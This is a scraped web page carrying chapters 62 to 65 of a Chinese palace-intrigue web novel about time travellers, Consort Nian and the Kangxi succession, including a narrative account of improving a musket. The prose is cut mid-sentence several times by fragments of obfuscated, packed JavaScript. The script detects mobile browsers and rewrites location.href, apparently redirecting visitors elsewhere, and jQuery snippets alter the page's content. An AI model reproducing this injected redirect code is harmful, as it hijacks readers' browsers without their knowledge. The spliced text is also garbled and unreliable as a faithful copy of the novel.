l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591274|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复的境地!” “你认为我在推你下地狱?” 八福晋侧目,眼神凶狠:“我是在好意提醒你!女人不是顺着男人给男人生孩子就能得到幸福!男人的心、娘家的实力,每一样都不可缺少!何况年羹尧如今处境确实危险,万一他被殷泰搞下来,远在雍亲王府后院的你也未必能独善其身!” “八福晋,您这是什么意思?” “什么意思?!我明白告诉你,世上年轻漂亮又才德兼备的女人多了去,四爷他为什么非你不可!因为你是年家的女儿,因为你二哥年羹尧是皇上跟前的新宠!只有年羹尧飞黄腾达,你在雍亲王府后院的地位才能稳如磐石!若是年羹尧犯下错误坠入十八层地狱,你也难逃失宠的命运!” 八福晋恨铁不成钢地训斥着年世华:“男人都喜欢天真无邪的女人,但是天真无邪到你这份上只会让我感到恶心!” 冲年世华说这些话的时候,八福晋心中涌动着扭曲的快感,仿佛长期积累压抑与阴暗得到了释放。 连旁观冲突的凤龙都忍不住发出询问。 【她似乎很恨你,或者说,恨类似年世华这类外表年轻漂亮又表现得天真无邪的女人。】 [她是个可怜的女人,她爱她的丈夫,却因为不能生育无法理直气壮地要求胤禩不纳妾或是让胤禩的心腹不给胤禩送女人,长期压抑、绝望让她的心逐渐扭曲,憎恨所有受男人欢迎的女人,尤其是年轻漂亮又看起来天真无邪的女人。] 武曌满不在乎地评价着八福晋。 在她看来,八福晋此刻表现出的凶狠和精明都是虚张声势的懦弱,真正有能力的人——不论男女——从不需要用大吼大叫彰显自己的存在。 当然—— 再怎么不屑八福晋的外强中干,她也必须对八福晋的“训斥”做出虚心接受。 “谢八福晋教诲,年氏一定将它们牢记在心,并在与四爷商讨后写信督促兄长戒骄戒躁,不可肆意妄为。” “你……” 年世华的应答让八福晋浑身不适,好像拳头打在棉花上。 “请——” 武曌做出送客姿态。 八福晋干笑三声,在奴仆们的簇拥下离开。 …… 晚上,武曌将八福晋的话原原本本地禀告胤禛。 胤禛听完,面露不悦:“她在老八面前蛮横惯了,竟敢到了雍王府也指手画脚!真是个泼妇!” “爷教训的极是。” “可惜她是老八的嫡福晋,你却只是我的侧福晋,尊卑有别,以至今日被她骑在头上欺压也只能忍耐……” 胤禛疼惜地看着年世华:“不过你放心,这样的日子很快就会结束,很快……” “只要能在爷身边,奴才受些委屈又算什么?” “心善柔软的人啊……” 胤禛伸手,抚弄年世华的头发,喜爱之情溢于言表。 [年轻、漂亮、温顺、知书达理、处处为我着想,还有能干的娘家兄弟,这样的女人去哪里找第二个……] 62.生错了时代 诸皇子为了夺取皇位在彼此身边安插眼线刺探动向,而康熙为了选出最适合的继承人、拔除皇权隐患,也同样在儿子们身边安插眼线,以防不测。 因此,几乎是胤禛自年世华口中得知八福晋的“狂言”的同一时间,康熙也从眼线处得到了相关密报。 “好狂妄的女人!老八还没被立为储君就想着将来后宫听政,祸乱朝纲!简直无法无天!” “皇上息怒——” 禀告此事的隆科多假惺惺地跪地哀求。 康熙瞥了他一眼,冷笑道:“发生这种事情,你竟然敢请朕息怒!莫非你也私下收过老八的好处,要保举他做太子!” “皇上,您就算借奴才一万个胆子,奴才也不敢收受八贝勒的好处!奴才的身体和心永远都只效忠皇上、效忠大清。” “是吗?” 康熙眯眼:“朕百年以后,你会自杀殉葬吗?” “若是皇上下旨要奴才殉葬,奴才绝不敢多活一天!” 隆科多知道康熙不喜欢殉葬陋习,因此不假思索地表态。 “你倒是……算了!至少你能不假思索说出这句话。” 康熙叹了口气,命隆科多退下。 “嗻——” 隆科多战战兢兢退出大殿,心里嘀咕道:看皇上的意思,八爷百分百不能摸到皇位,二爷又已经被圈禁……那我下一步该投靠谁?四爷?十四爷?还是…… 思来想去,隆科多决定暂时不做选择继续观望,并将雍亲王胤禛列为重点观察对象。 …… 隆科多走后,康熙靠在龙椅上,眼神浑浊中带着浓重的彷徨与苦闷。 他知道他活不了太久,也知道大清不能没有储君。 但即便神秘的盛世祥瑞明确告诉他有能力继承大清江山并将大清带入真正的盛世的是雍亲王府侧福晋年氏生下的小阿哥弘福,为了大清的千秋万代,他必须立四阿哥胤禛为储君并遗诏胤禛选弘福做皇太孙—— 康熙依旧不愿正式下旨立太子。 权力让他厌恶一切可能威胁自身的东西,他要牢牢握住权力,直到死前最后一刻。 想到此处,康熙做出一个前所未有的决定。 秘密立储制! 如此一来,他就可以直到生命最后一刻依旧牢牢把握着最高权力,而不是像前朝多位皇帝那般在生命的晚年被太子集团架空权力、死得不明不白。 [权力必须从始至终都牢牢握在手中,哪怕是朕最爱的胤礽也不可以在朕还活着的时候碰朕的东西!] …… …… 康熙五十三年十月,九贝子胤禟向英吉利人订购的三艘装备火器的航海船终于完工交付。 兹事体大,胤禟亲自前往广州交接货物。 一直都密切关注胤禟动向的胤禛闻讯,也立刻派出密探尾随其后,以防有诈。 将胤禟近年来种种行为尽收眼底的康熙自然也不例外。 于是乎,胤禟出京,身后跟着冗长的密探尾巴——各路人马都想知道九阿哥的葫芦里到底卖的是什么药、胤禟和英吉利人做生意图的究竟是什么。 唯独武曌在雍亲王府后院淡定自若,似乎完全不关心外面围绕储位的那些风风雨雨。 …… 凉风习习的庭院里,武曌走到伊格格身旁,看着白纸上简洁规整的几何解题步骤,赞叹道:“妹妹天资聪慧,如此复杂的几何题目居然能解答自若,倒是显得姐姐笨拙不堪了。” “姐姐谦虚了,若是姐姐不管后院大小事务,和妹妹一样成天只钻研几何题目一门学问,成就必在妹妹之上。” 伊格格羞愧不已地说着,毕竟她是来自四十五世纪的人,理应在几何解题领域轻松碾压十八世纪的古人。 “可惜……” 武曌叹了口气:“嫡福晋姐姐身体不适,李佳氏姐姐又不爱管事,我若是不管事,雍亲王府后院就彻底乱套了。” “不能交给内外管事吗?” 伊格格天真询问。 “你相信王府管事毫无私心吗?” 武曌反问。 伊格格愕然。 是人就会有私心,会厚此薄彼,会踩低拜高,到时候像她这种不得宠甚至无宠的格格必定会像古早宅斗小说里面那样被各种克扣欺压,冬天没取暖的木炭,夏天给发馊的饭菜,逢年过节不给好布料做新衣服…… “……我打理后院事务虽然不能做到绝对公平,但至少不会出现奴才仗势欺人、跟红顶白欺压主子的事情,坏了尊卑。” 武曌补充道。 伊格格闻言附和道:“姐姐辛苦了。” 但她毕竟是来自四十五世纪的人,即便知道十八世纪是尊卑分明的封建时代、尊卑分明无可指摘,依然—— [尊卑这种东西本就不该存在……人和人之间是平等的……] 武曌假装不知伊格格心中怨念,有心从伊格格手中套取四十五世纪科技的她命奴仆将胤禟送的象牙柄火木仓取来,递给伊格格:“妹妹可见过此物?” [见过,在博物馆里。] 腹诽着,伊格格做出惊喜表情:“这……这莫非是洋人火木仓?” “这东西来自法兰西宫廷,枪柄用整块象牙制成,雕刻着西洋人的神仙美女,还镶嵌珐琅和宝石,既精致又美丽,是一件难得的艺术品。” 可惜中看不中用。 武曌心中默默补充。 通过听胤禛心声、看天幕历史直播,她已完全了解火木仓的弊端:射程短、准星差、枪管容易发红滚烫随时可能炸膛…… 但此物虽弊端巨大,却拥有超越所有刀枪棍棒的巨大优势:不论男人女人老人小孩,哪怕是行将就木的病人,只需胳膊还能使用、他的眼睛还没有失明,经过一天的简单训练就能开枪远距离杀人。 反观传统的刀枪棍棒,使用者首先要四肢健全身体健康,其次还必须接受长时间的体能训练、肢体柔韧性训练以便更好地发挥武器的杀伤力,即便如此,刀枪棍棒的杀伤范围也仅限于武器长度。 弓弩的杀伤情况比刀枪棍棒略好些,但是弓弩对使用者的体能要求远高于火木仓,杀伤力却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13607265|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不及火木仓的一半。 难怪清朝统治者明知火药、火器的优势,依然坚持传统的刀枪棍棒箭,不愿投资人力物力改良火木仓、火炮,更不愿将它们在军中普及。 因为他们知道,哪怕是弊端多多的当下,火木仓、火炮依然是完全超越刀枪棍棒的低门槛高杀伤武器,一旦普及,建立在八旗和骑射基础上的满清统治就会被颠覆。 若是火木仓、火炮的弊端被克服…… [你们怕动摇自己的统治根基不愿意普及火器改良火器,我不一样……我需要火器,我要用火器铸造并拱卫我的统治……] 上一世吃够了没有军队支持的苦的武曌默默发誓,眼睛闪闪发光地看着把玩西洋火木仓的伊格格:“喜欢吗?” “喜欢。” [这玩意如果能带回四十五世纪怕不是能换一个两百英亩的庄园。] “送你如何?” “这……” 伊格格不敢接受,不是因为年氏送给她的这把象牙古董火木仓哪怕在十八世纪也属极其贵重之物,而是—— 按时空穿梭管理规定,这东西不能带回四十五世纪! “这可是九贝子送给小阿哥的礼物,我……我受不起……” “再贵重的东西也不过是件物品。” 武曌坚持要伊格格收下,并手把手教伊格格如何使用火木仓。 “这——” 伊格格惊呆。 尤其当年世华一边近身教授如何使用火木仓一边对她低声轻语:“火木仓是件好东西,它让矮小瘦弱的女人也能轻松杀死高大健壮的男人……” “姐姐这话是——” 伊格格被年世华的行为惹得心跳加速,脸颊绯红。 “没什么。” 武曌低头,收敛眼中精光,叠在伊格格手背上的手骤然用力,扣动扳机—— 轰! 火木仓子弹射出,摇摇晃晃命中目标靶人。 这个时代的火木仓子弹填充物是火药和碎铁砂,通常子弹还未命中目标铁砂已经炸开,将靶人射得千疮百孔仿佛马蜂窝般惨不忍睹。 “——熟练掌握此物的使用后,生死关头你或许可以凭借此物逃出生天,即便敌众我寡也能临死多拉几个垫背的。” “姐姐,你——” [你是个生错了时代的女中豪杰啊!] 看着发红的枪管、冒烟的枪口,听着年世华平静的声音,伊格格又心疼又敬佩。 [如果你生在四十五世纪,以你的聪明才智,你会成为我的时代最璀璨的明珠之一!哪怕只是晚出生两百年,生在民族解放、战争频发、激烈动荡的二十世纪,你也一定能凭借巾帼不让须眉的勇气和智慧成为名垂青史的风流人物!为什么!为什么拥有如此多优秀不平凡的特质的你偏偏生在封建压迫、封建皇权即将达到最顶峰的康乾时代!] [现在,你已经真切感受到命运与时代的恶意,接下来准备怎么拯救我?拯救我们的命运、我们的时代?] 将伊格格的情绪波动尽数收入的武曌露出会心的笑容。 63.胶着状态 时间进入康熙五十三年十一月,大名鼎鼎的毙鹰事件发生时间。 数年前,四福晋已经通过天幕直播系统获悉毙鹰事件的来龙去脉以及此事对八贝勒胤禩的夺嫡计划造成何等毁灭性打击,如今终于等到这一万众瞩目的时刻,梳妆时对着镜子笑得花枝乱颤,接受侧室请安时也比往常更显和颜悦色,笑容可掬。 [从明天开始,不仅和四爷竞争皇位的八贝勒会成为过往,他家的河东狮也再无可能在我面前耀武扬威,对雍亲王府的事指手画脚!] 侧福晋李佳氏知道嫡福晋不待见自己,见乌拉那拉氏莫名微笑,担心她谋算着对付自己,请安后故作关心的问道:“——姐姐笑得这么开心,莫非好事将近?可否说出来与妹妹们分享?” “确实有一桩喜事。” 乌拉那拉氏抬头,看了眼钮钴禄氏抱在怀中的小格格:“妞妞已经三岁了。” “姐姐——” 钮祜禄氏大惊失色。 乌拉那拉氏不紧不慢地说道:“德妃额涅向来喜欢妞妞,曾对四爷说等妞妞长大些要送去宫中陪她。” “可是……” “孝道是皇上都不能不遵守的东西。” 乌拉那拉氏慢条斯理地说着,一字一句敲在钮祜禄氏心口。 一时间,钮祜禄氏的脸色比纸还白:“姐姐,妞妞……妞妞才……才三岁……三岁的孩子……” “三岁不小了。” 乌拉那拉氏笑容微妙,态度强硬不容置疑。 钮祜禄氏不得不低头接受。 随后,乌拉那拉氏又看向李佳氏:“弘时近来学习如何?” “学习成绩……” 李佳氏欲言又止。 自从弘昼、弘宜接连出生,本就学业表现糟糕的弘时在学习这件事情越发地怠惰,身为母亲的李佳氏怎么督促都不管用,还因为频繁劝学招来了儿子的反感。 见状,乌拉那拉氏意味深长地说道:“他既然不想学,你就不要太勉强。养闲人而已,雍亲王府不差这点钱。” “奴才……奴才明白……” 被嫡福晋的话语压得喘不过气的李佳氏主动低头自称“奴才”。 “什么奴才不奴才,这里只有姐妹,没有奴才。” 乌拉那拉氏笑盈盈地看着李佳氏。 [李佳氏,我终于能把你抓在手里任意搓揉了!可惜现在的我已经没兴趣针对你,大清皇后的宝座才是我真正想要的东西,而年氏和弘宜……是助我成为大清皇后的关键……] [螳螂捕蝉黄雀在后,你把大清皇后的宝座视为奋斗的终极目标,却不知道我想要的以及我能得到的远比你看到的要多得多……] 武曌暗暗嘲笑着乌拉那拉氏的目光短浅,注意力落在伊格格身上——自从得到法兰西出产的象牙火木仓,本就沉默寡言的伊格格变得更加安静了,每天除却必要的请安礼节,剩下的时间不是去年氏处读书、学礼仪,就是把自己关在房间里发呆,有时还会拿做女工的剪子在木头上乱刻乱划。 ——后院的人们因此怀疑她是长期不得宠变得疯疯癫癫,嫡福晋也曾多次派医生前去为她诊脉,结果却是伊格格不仅身体无恙,精神也很正常。 “——年家妹妹,弘宜近来如何?”乌拉那拉氏一脸忧愁,“听说他昨天只吃了平时一半多的奶水,我担心他身体有恙。” “姐姐多虑了,弘宜如今已经两岁,可以循序渐进地断奶了。” “你是孩子的母亲,你觉得这样做没问题,那就照你的想法做去吧。虽然弘晖当年一直吃到三岁才慢慢断掉。” 乌拉那拉氏笑容微妙。 武曌完全不受她的影响,礼貌地点了点头,随即将话题转到耿佳氏和弘昼身上:“妹妹近来身体可好些?” “自从弘昼出生,我的身体就……或许真如相师所言,弘昼是我一生最大的气运,他出生了,我便不重要了。” 耿佳氏看起来有些病恹恹,被乳母抱在怀中的弘昼却是一脸活泼生动,眼珠子咕噜转动,打量四周。 “不论真相如何,能为雍亲王府生下健康的阿哥,活该是你的福气。” 乌拉那拉氏宠溺地看着弘昼,叮嘱管家的年世华给耿佳氏的院子多分发一些取暖的木炭以及冬日进补的人参、鹿胎等。 “姐姐放心,妹妹管家绝不敢厚此薄彼,有丝毫的不公怠慢。” “你做事公道公正,我一向放心得很,但你也不能因此失了谨慎,让下面的奴才有机会钻空子,偷工减料、以次充好。” “姐姐教训的极是。” 随后,武曌将最近一个月的后院进出开销记录账本交给乌拉那拉氏:“请姐姐核查。” “妹妹说笑了,你做账从来都没有出过错,不是吗?” 乌拉那拉氏笑容可掬。 [要不了几年,我们就能搬进紫禁城,从此尊贵无双。] [后宫之主有什么稀罕,终不过是男人养在笼子里的鸟!要坐就坐最高的位置!] …… 晨会结束,武曌带着弘宜走出嫡福晋的院子,走到神色沉重的伊格格身边:“妹妹,你心里是不是有事情?” “我……” “你近来身体健康,人却沉默压抑,时常在屋里用剪子刻划木头,可见心中有事。” “姐姐……我……” 伊格格被年世华的柔声细语打动,眼泪在眼眶里默默打转。 “不能说吗?不能说就不说,但是你也别总是把难受的事情藏在心里,憋太久,很容易生病的。” “我……我……” 伊格格欲言又止。 她想对年氏坦白自己的真实来历,又怕暴露穿越者的身份后会像二十一世纪流行的肥皂穿越文学中的穿越女那样落个死无葬生之地的悲惨下场。 毕竟,不管什么时代,人对于完全未知的东西都会感到由衷的恐惧,何况穿越者大多来自未来,各方面都与当前世界格格不入。 [原来是在纠结要不要对我坦白……]35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623888|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 武曌会心一笑,轻拍伊格格的手:“担心秘密被人知道引发可怕后果的话,你可以找个绝对寂静无人的地方冲着旷野把心里话说出来,再痛苦的事情只要能说出口,它带给你的痛苦必然会减轻许多。” “真的吗?” 伊格格彷徨地看着年世华,后者露出母亲般温暖柔和的笑容。 [……现在的你因为一无所知对我展露微笑,可一旦你知晓我的来历,知道我来自两千七百多年后的世界,你还会对我露出如此美丽温柔的笑容吗?] 伊格格的心再度被痛苦抓住,像踩着棉花走路的醉鬼般摇摇晃晃地返回自己的住处。 【真是个有趣的家伙。】 旁观全程的凤龙发出啧啧叹息。 【她以为你不知道,其实你不仅知道,还将她的不知道你知道作为乐趣的一部分~】 [那又如何?她本人也对胶着的现状充满了迷恋。] …… …… 【……毙鹰事件发生在康熙五十三年十一月二十六日康熙帝前往热河巡视途中,八贝勒胤禩原该随侍在旁,当时恰逢其母良妃去世周年祭日,胤禩借口祭奠母亲,未赴行在请安,只派了太监去康熙处说明缘由,表示将在汤泉处等候皇父一同回京。 后来胤禩挑选了两只上等的海东青送往康熙处,不想海东青到康熙手里时变成了两只奄奄一息的死鹰。 这让本就对胤禩长期不满的康熙极为愤怒,认为这是胤禩对自己的诅咒,当即召诸皇子,责胤禩“系辛者库贱妇所生”,更说出“自此朕与胤禩,父子之恩绝矣”这种绝情言语,胤禩身边多人因此事遭到罢黜严惩。 “毙鹰事件”还未结束,胤禩身边又发生“雅齐布事件”。 雅齐布是胤禩乳母的丈夫,曾与御史雍泰发生矛盾,胤禩护短,维护雅齐布殴打雍太。胤礽得知此事后密告康熙,雅齐布因此被发配蒙古八公主府做事。 毙鹰事件发生后,密报查出发配蒙古的雅齐布已偷偷返京在胤禩庇护下生活,康熙大怒,认为胤禩已经完全不把自己放在眼里,是个阴险歹毒之人,断不能容下。 当然,关于“毙鹰事件”和“雅齐布事件”,后世也是存在多种解读的,有人认为胤禩确实有挑衅诅咒之意,有人觉得是第三方势力阴谋陷害,另有部分人认为毙鹰纯属巧合、藏匿雅齐布是胤禩重情重义的表现,康熙故意借题发作处置自己厌恶的儿子。 但不管真相如何,“毙鹰事件”发生的第二年正月,康熙正式下旨停了胤禩本人及属官俸银俸米、执事人等银米,胤禩的夺储之路从此彻底封死。】 [原来这就是毙鹰事件……] 看完“毙鹰事件”的来龙去脉,武曌露出微笑, [“毙鹰事件”固然有值得深究的内情,但胤禩本人在毙鹰事件发生前表现出的傲慢无礼也不可忽视。明知道康熙不喜欢自己还敢如此半公开的表达自己对父亲的厌恶之情,如此情绪外露、性情冲动之人……本来也不配成为皇帝!] 64.天真又炽热 “毙鹰事件”本质是康熙对被称为“八爷党”的政治团体的打压清算,早在一废太子时就开始谋算皇位的胤禛自然不可能在这种时候主动跳出维护胤禩,至多在被康熙询问时说几句兄友弟恭、忠孝至上的场面话,全了所谓的兄弟情谊。 康熙对此非常满意。 作为一个手握至高皇权的垂暮老人,他平等地仇视着所有可能威胁自己地位的年富力强的皇子,时刻要求他们向自己表达恭顺与臣服。 胤禛看穿了这点,永远低眉顺眼地陪在康熙身边,竭尽全力让康熙相信四阿哥始终将皇阿玛摆在第一位,不敢越雷池一步。 …… [如果每个儿子都能像老四这样听话懂事,朕也不至于到现在都踟蹰不定。] 对着突然出现在热河行宫的凤龙,康熙发出幽幽叹息。 【你终于下定决心了?】 凤龙歪着脑袋反问。 [已经下定决心。] 康熙眯眼,拿出墨迹未干的密诏。 [朕已经写好立储的诏书,皇四子胤禛是朕心仪的储君。] 【因为雍亲王府上空的龙气?】 凤龙欲擒故纵,一边往嘴里扔金豆子一边提醒康熙。 【我不希望你这样的有为君主也因为雍亲王府上空有龙气就盲目迷信地立胤禛为储君,虽然龙气这种东西确实代表天命。】 [龙气并不是朕选择胤禛的全部理由,事实上,在朕得知雍亲王府上空有龙气以前,朕就已经将胤禛纳入储君人选了。] 【哦?】 凤龙托起下巴,耐心听康熙解释。 [在朕众多的儿子里,他是最能干也最懂得为朕分忧解难的那个。交代给他的差事,不管多艰难多得罪人,他都会在规定的时间内把事情办成,并且办得妥妥当当,让朕挑不出毛病。如果他是皇后所出或者朕的长子,朕早就当众立他为太子了。] 【可惜他不是。】 [是啊……] 康熙长叹一口气。 [所以一直以来,朕喜欢胤禛却只想把胤禛培养成辅佐新君的能臣,直到胤礽一次又一次地踩碎朕的心……朕那么爱他,把最好的全都留给他,对他那么好,为什么最终却……胤礽他彻底伤了朕的心……可即使如此,朕也……也不希望胤礽下场凄惨……历代废太子的悲剧不能在胤礽身上发生……] 【所以你选择胤禛?】 [胤禛当然不是朕心目中的最完美的大清继承人,但他至少能力和品行都让朕勉强满意,登基后应该也不至于苛待胤礽……反观胤禩……] 提到胤禩,康熙顿时咬牙切齿。 [狼子野心忤逆傲慢,决不可重用!] 【你是真的恨极了胤禩。】 凤龙悠悠评价,黑色的眼睛隐约散发着金色的魔性。 【为什么这么恨?因为他对权力太过饥渴?表现得又贪婪又野蛮,粗暴急躁,不择手段?】 [是的。] 康熙点头,全盘接受凤龙对胤禩的评价。 [朕对胤禩原本并不厌恶,直到朕发现他为了得到其他人的支持,不惜以江山利益作为许诺,换取所谓的‘仁义’好名声。这种优柔寡断没有主见偶尔还暴躁冒进的性格,作臣子尚且有所不足,做皇帝就更加不合格!一旦他登基,皇权必定遭遇架空,胤禟、胤禵……一个接着一个跳出来翻云覆雨。] 【可怜的胤禩,他至今仍然坚信你厌恶他是因为他出身卑贱……】 [他其实知道朕为何厌恶他,也知道他自身有哪些不适合成为皇帝的毛病,他只是不愿意承认……毕竟,承认自己因为出身卑贱遭皇阿玛厌恶远比承认自身有太多不适合成为皇帝的毛病要容易……] …… …… “姐姐——” 伊格格突然来到,打断正和远在热河行宫的凤龙进行精神链接的武曌的思绪。 她合上手中的《资治通鉴》,站起身:“妹妹找我有事?” “我有一件事情要向姐姐请罪。” “哦?” “我……我……” 伊格格咬了咬嘴唇,艰难地说道:“我把姐姐送给我的象牙火木仓拆掉了。” “那东西既然已经送你,自然是你想怎么处理都可以。” “我拆开火木仓并不是顽皮胡闹——” 说话间,伊格格自袖管取出一个纸卷,铺开:“我把火木仓拆下的每个部件都画了一遍,还按自己的想法做了一些改动。” “当真?” 武曌眼前一亮。 往伊格格的心里撒的种子终于开始生根发芽了。 见年世华眼神闪光,伊格格顿时红了脸蛋,支支吾吾道:“我的图画和想法都很粗糙,但是我想……如果把这些东西交给年家大少爷的话,应该有办法做出来……听说年大少是连西洋传教士都赞不绝口的天才,而且他现在被皇上调去内务府造办处,平日里接触各类工匠……” “我懂……我懂你的意思……” 武曌笑盈盈收下伊格格给的图纸,准备明天就送去年希尧处,让年希尧用最短的时间做出成品。 等到已经升任四川总督的年羹尧开年时回京复命,她可以让他把改良的火木仓成品连同制造技艺一并带去四川,武装军队,更好地震慑对藏区蠢蠢欲动的蒙古准噶尔部策妄阿拉布坦以及同样不安分的青海和硕特部首领罗卜藏丹津等外部势力。 [年羹尧的军功越显著,他在康熙心中的分量就越重,再加上凤龙的蛊惑,雍亲王变雍正这件事越发指日可待……当然,不论什么时候,套在年羹尧脖子上的那根绳子都必须握在年世华也就是我的手中……] …… 年希尧对各类杂学都热情洋溢,从胞妹处得到伊格格绘制的火木仓改良图纸后只觉茅塞顿开,竟不问此物来此何处,出了雍亲王府直奔造办处,以职权命令专业为皇家制作装饰用火器的工匠按图纸造物。 “这东西……” 工匠面露难色。 因为图上描绘之物已经超出他们对火木仓的理解。 “让你们做就做!不要问为什么!万一上面有怪罪,我替你们担!” 年希尧当场做出承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639095|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诺。 工匠们得了承诺,顿时干劲十足热火朝天,一番捣鼓,很快就按图纸要求做成所有部件并拼装完成,连图纸上要求的用于适配枪管膛线的新型子弹也一口气做了一百多枚。 “爷,您要的东西全部做好了。” “好好好!” 年希尧接过相对于表面有象牙、檀木、金银、宝石等装饰的皇家火木仓而言显得异常寒酸的用只刷了一层清漆的酸枣木做枪柄的黑色火木仓以及配套的一百多枚新款子弹,笑容满面地来到雍亲王府后院。 “妹妹!妹妹!你要的东西,大哥给你做成了!” “大哥办事果然妥帖。” 武曌接过改良版火木仓,派人送到伊格格处。 伊格格看着十八世纪初的宫廷造办处工匠们用简陋的工具硬生打磨出的精细膛线,不禁想起一句老话:不要低估了我和我的九族的羁绊。 [这就是人吃人的社会的创造力吗?] 伊格格心中颇为彷徨。 随后,她试用改良版火木仓,确定改良版火木仓因为加入膛线设计,子弹瞄准率得到大幅提升、炸膛问题也得到一定的改善后,回到年世华面前,向她展示改造成果。 轰—— 一枪中靶。 “姐姐,我的想法是对的。” “看出来了。” 武曌宠溺一笑,为伊格格擦拭手掌的火药残余:“火木仓容易发烫,可不要伤了手指。” “但是……” “但是什么?” “如果这件东西能够被军队使用,或许——” “那是男人才有资格关心的大事情,不是我们女人能够过分,我们只能呆在自己的小天地里做自己可以做的事情。” “真的不能改变吗?” 伊格格苦闷地眨动眼睛。 [可惜我受时空穿梭管理规定限制,不能把四十五世纪的知识教给你,卡bug提供膛线技术也已经是极限……希望你能早日意识到枪这种东西并不是男人专属的武器,不管男女老少,只要ta手中有枪,ta都能杀人!] [我当然知道枪是杀人的工具,不管男女老少只要手中有枪就能杀人,不然我也不会特意送火木仓给你,从你手中拿到改良图纸后立刻送年希尧那边让宫廷造办处制作成品……] 武曌含笑看着伊格格,欣赏她的大胆,同时也可怜她的天真。 “改变不是靠几句话就能办成,改变需要很多的力量,而我们只是女人,困在后院的女人……” “那如果有一天我们不再被困在雍王府后院,我们成为有更高的地位的人,是不是就可以做出更多的事情?” 伊格格天真又炽热地看着年世华,内心波涛汹涌。 [封建皇权虽然绝对男权、父权至上,却存在一个巨大的bug——孝道,以及和孝道绑定的太后摄政,武则天当年就是利用这个bug成功称帝!由此可得,只要我们有机会掌握最高权力,我们就不再是困在后院的可怜女人!] 感受到伊格格的热情,武曌露出笑容。 “是。” 65.改良版火器 年羹尧被任命为四川总督后,他和川陕总督殷泰的累年矛盾也正式摆上台面,所幸康熙喜爱年羹尧,对他在四川境内的种种行为都睁只眼闭只眼,殷泰送来的告状折子则无一例外全部退回。 年羹尧虽是个桀骜不驯之人,却知道自己能有今时今日的地位全亏了皇上的信任和喜爱,因此,每次回京述职,年羹尧的态度都格外谦卑谨慎,不敢在皇帝面前露出丝毫懈怠。 当然,从宫中出来后,他也绝不会忘记去雍亲王府向名义上的主子和真正掌控他的生死命脉的主子谢恩。 …… …… “自古将在外君命有所不受,何况皇阿玛有言在先,准噶尔部策妄阿拉布坦与和硕特部首领罗卜藏丹津的事情可暂交你这个四川总督全权酌情处理,不必大事小事都向我禀告。” 胤禛嘴上说着责备的话,其实心里对贵为封疆大吏的年羹尧依然每年回京述职时要事无巨细地向自己禀告任期内大小事务的恭顺行为乐开了花。 “毕竟军情十万火急,不能为了等我的回答耽误了大事情。” “主子教训得是,奴才牢记在心。” 年羹尧心不在焉地说道,其实满脑子想的都是若干年后妹妹抱着小阿哥登上皇位、庇佑年家从此权倾朝野。 “……西北的军费还够用吗?” 胤禛冷不防问道。 年羹尧抬头,苦笑道:“爷,军费这东西……现在还没有打仗自然是够用,可倘若逆贼不思皇恩冒犯大清天威……” “我明白了。” 胤禛摸了摸嘴唇,笑容微妙:“自毙鹰事件和雅齐布事件后,老八已经确定没有出头之日,多年来始终投资老八的老九此刻想必已成热锅上的蚂蚁……而老九这个人虽然没有夺储的资格,却是诡计频出不可不防……偏偏他手上又有大把的银钱……不仅和晋商往来密切,和西洋人的生意也做得极大……” “爷的意思是——” “十四说过,老八老九有意保举他成为太子,希望我这个同父同母的兄长为他出一份力。” 胤禛的笑容蒙着阴冷:“而我的打算借这个由头让老九出钱养西北的军备。” “那万一他们把十四爷塞进我的军中……” “我知道你们年家人心里有我,没有我的允许,你们不会也不敢跟着十四跑。” 胤禛恩威并施地看着年羹尧。 年羹尧低头:“主子说得极是。” …… 觐见胤禛结束,年羹尧走出书房,由苏培盛带领,来到年世华的院子。 “奴才年羹尧给主子请安——” “自家兄妹怎可如此大礼,二哥快快起来?” 说话间,武曌请年羹尧坐下,亲自给他倒了一杯茶。 “不敢不敢——” 年羹尧受宠若惊地双手接过茶水:“幼妹近来可好?” “一切都很好。” “小阿哥——” “小阿哥的身体也很健康。” “那……” “雍亲王府后院所有人都对我很好,四爷对我尤其温柔。” 说到此处,武曌顿了一顿,眸子扫了眼周围。 苏培盛会意,笑呵呵走出院子。 年羹尧感觉到熟悉的恐惧和兴奋,下意识地深吸一口气,声音也不知不觉间带上了恭敬:“主子,您——” “你倒是心思清晰,看到苏培盛离开便知道我要问你事情。” 武曌收敛笑容,冷傲地看着年羹尧:“你在四川现在是什么情况?” 